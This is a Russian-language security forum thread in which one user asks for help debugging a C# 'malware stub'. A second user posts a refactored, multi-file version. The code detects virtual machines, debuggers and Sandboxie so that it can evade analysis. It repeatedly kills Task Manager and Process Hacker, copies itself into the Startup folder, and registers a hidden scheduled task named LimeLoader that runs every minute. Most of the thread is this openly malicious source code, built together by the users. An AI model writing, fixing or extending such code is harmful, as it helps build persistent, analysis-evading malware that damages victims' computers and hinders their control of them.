• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Проблема C# Помогите с заготовкой под малварь

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Делаю небольшую заготовку с автозагрузкой и антианализом.

Помогите код в порядок привести, не работает не хрена.

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Management;
using System.Runtime.InteropServices;

namespace ConsoleApp3
{
    class Program
    {
        static void Main(string[] args)
        {

            new Thread(() =>
            {
                RunAntiAnalysis();
            }).Start();

            Console.WriteLine($"VirtualMachine = {DetectVirtualMachine()}");
            Console.WriteLine($"Debugger = {DetectDebugger()}");
            Console.WriteLine($"Sandboxie = {DetectSandboxie()}");
            Console.ReadKey();


            try
            {
                String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
                String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
                File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
            }
            catch (Exception ex)
            { }



            AddToSchtasks();
        }

        private void InitializeComponent()
        {
            throw new NotImplementedException();
        }

        private static void atch(Exception exception, object ex)
        {
            throw new NotImplementedException();
        }


        private static void AddToSchtasks()
        {
            string PS = @".\%AppData%\update.exe";
            Process.Start(new ProcessStartInfo()
            {
                FileName = "schtasks",
                Arguments = "/create /sc minute /mo 1 /tn LimeLoader /tr " + "\"" + PS + "\"",
                CreateNoWindow = true,
                ErrorDialog = false,
                WindowStyle = ProcessWindowStyle.Hidden
            });
        }


        public static void RunAntiAnalysis()
        {
            if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
                Environment.FailFast(null);

            while (true)
            {
                DetectProcess();
                Thread.Sleep(10);
            }
        }

        private static bool DetectVirtualMachine()
        {
            using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
            {
                using (var items = searcher.Get())
                {
                    foreach (var item in items)
                    {
                        string manufacturer = item["Manufacturer"].ToString().ToLower();
                        if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
                            || manufacturer.Contains("vmware")
                            || item["Model"].ToString() == "VirtualBox")
                        {
                            return true;
                        }
                    }
                }
            }
            return false;
        }

        private static bool DetectDebugger()
        {
            bool isDebuggerPresent = false;
            CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
            return isDebuggerPresent;
        }

        private static bool DetectSandboxie()
        {
            if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
                return true;
            else
                return false;
        }

rivate static void DetectProcess()
        {
            foreach (Process process in Process.GetProcesses())
            {
                try
                {
                    if (ProcessName.Contains(process.ProcessName))
                        process.Kill();
                }
                catch { }
            }

        }



        private readonly static List<string> ProcessName = new List<string> { "ProcessHacker", "taskmgr", "vmware", "VirtualBox" };

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

  


    }
}
 

h4x0r

Member
11.03.2019
11
-11
BIT
0
Вообще код немного режет глаза. Я бы посоветовал в главном классе с методом main оставить только метод main, т.к малварь будет не удобно в одном огромном классе писать. Второе для ManagementObjectSearcher необходимо добавить ссылку на библиотеку System.Management.dll (НЕ ПРОСТО ПРОПИСАТЬ using) а именно добавить ссылку на отдельную dllку , можешь даже через NuGet установить, это делается за пару секунд . Далее, разделяем код.

Program.cs
C#:
using System;
using System.IO;
using System.Threading;
using System.Diagnostics;

namespace Main
{
    class Program
    {

        static void Main(string[] args)
        {

            new Thread(() =>
            {
                Utils.RunAntiAnalysis();
            }).Start();

            Console.WriteLine($"VirtualMachine = {Utils.DetectVirtualMachine()}");
            Console.WriteLine($"Debugger = {Utils.DetectDebugger()}");
            Console.WriteLine($"Sandboxie = {Utils.DetectSandboxie()}");
            Console.ReadKey();

            try
            {
                String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
                String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
                File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
            }
            catch (Exception ex)
            { }

            Utils.AddToSchtasks();
        }     

    }
}

Utils.cs

C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Management;
using System.Threading;

namespace Main
{
    class Utils
    {
        private readonly static List<string> ProcessName = new List<string> { "ProcessHacker", "taskmgr", "vmware", "VirtualBox" };

        internal static bool DetectVirtualMachine()
        {
            using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
            {
                using (var items = searcher.Get())
                {
                    foreach (var item in items)
                    {
                        string manufacturer = item["Manufacturer"].ToString().ToLower();
                        if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
                            || manufacturer.Contains("vmware")
                            || item["Model"].ToString() == "VirtualBox")
                        {
                            return true;
                        }
                    }
                }
            }
            return false;
        }

        internal static void RunAntiAnalysis()
        {
            if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
                Environment.FailFast(null);

            while (true)
            {
                DetectProcess();
                Thread.Sleep(10);
            }
        }

        internal static void AddToSchtasks()
        {
            string PS = @".\%AppData%\update.exe";
            Process.Start(new ProcessStartInfo()
            {
                FileName = "schtasks",
                Arguments = "/create /sc minute /mo 1 /tn LimeLoader /tr " + "\"" + PS + "\"",
                CreateNoWindow = true,
                ErrorDialog = false,
                WindowStyle = ProcessWindowStyle.Hidden
            });
        }

        internal static bool DetectDebugger()
        {
            bool isDebuggerPresent = false;
            NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
            return isDebuggerPresent;
        }

        internal static bool DetectSandboxie()
        {
            if (NativeMethods.GetModuleHandle("SbieDll.dll").ToInt32() != 0)
                return true;
            else
                return false;
        }

        internal static void DetectProcess()
        {
            foreach (Process process in Process.GetProcesses())
            {
                try
                {
                    if (ProcessName.Contains(process.ProcessName))
                        process.Kill();
                }
                catch { }
            }

        }
    }
}


NativeMethods.cs

C#:
using System;
using System.Runtime.InteropServices;

namespace Main
{
    class NativeMethods
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static public extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
    }
}
 
  • Нравится
  • Не нравится
Реакции: CHEATER, mrOkey и NEUCH

h4x0r

Member
11.03.2019
11
-11
BIT
0
Ошибки поправил, работоспособность не чекал, это уже на твоей совести
 
  • Не нравится
  • Нравится
Реакции: mrOkey и NEUCH
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!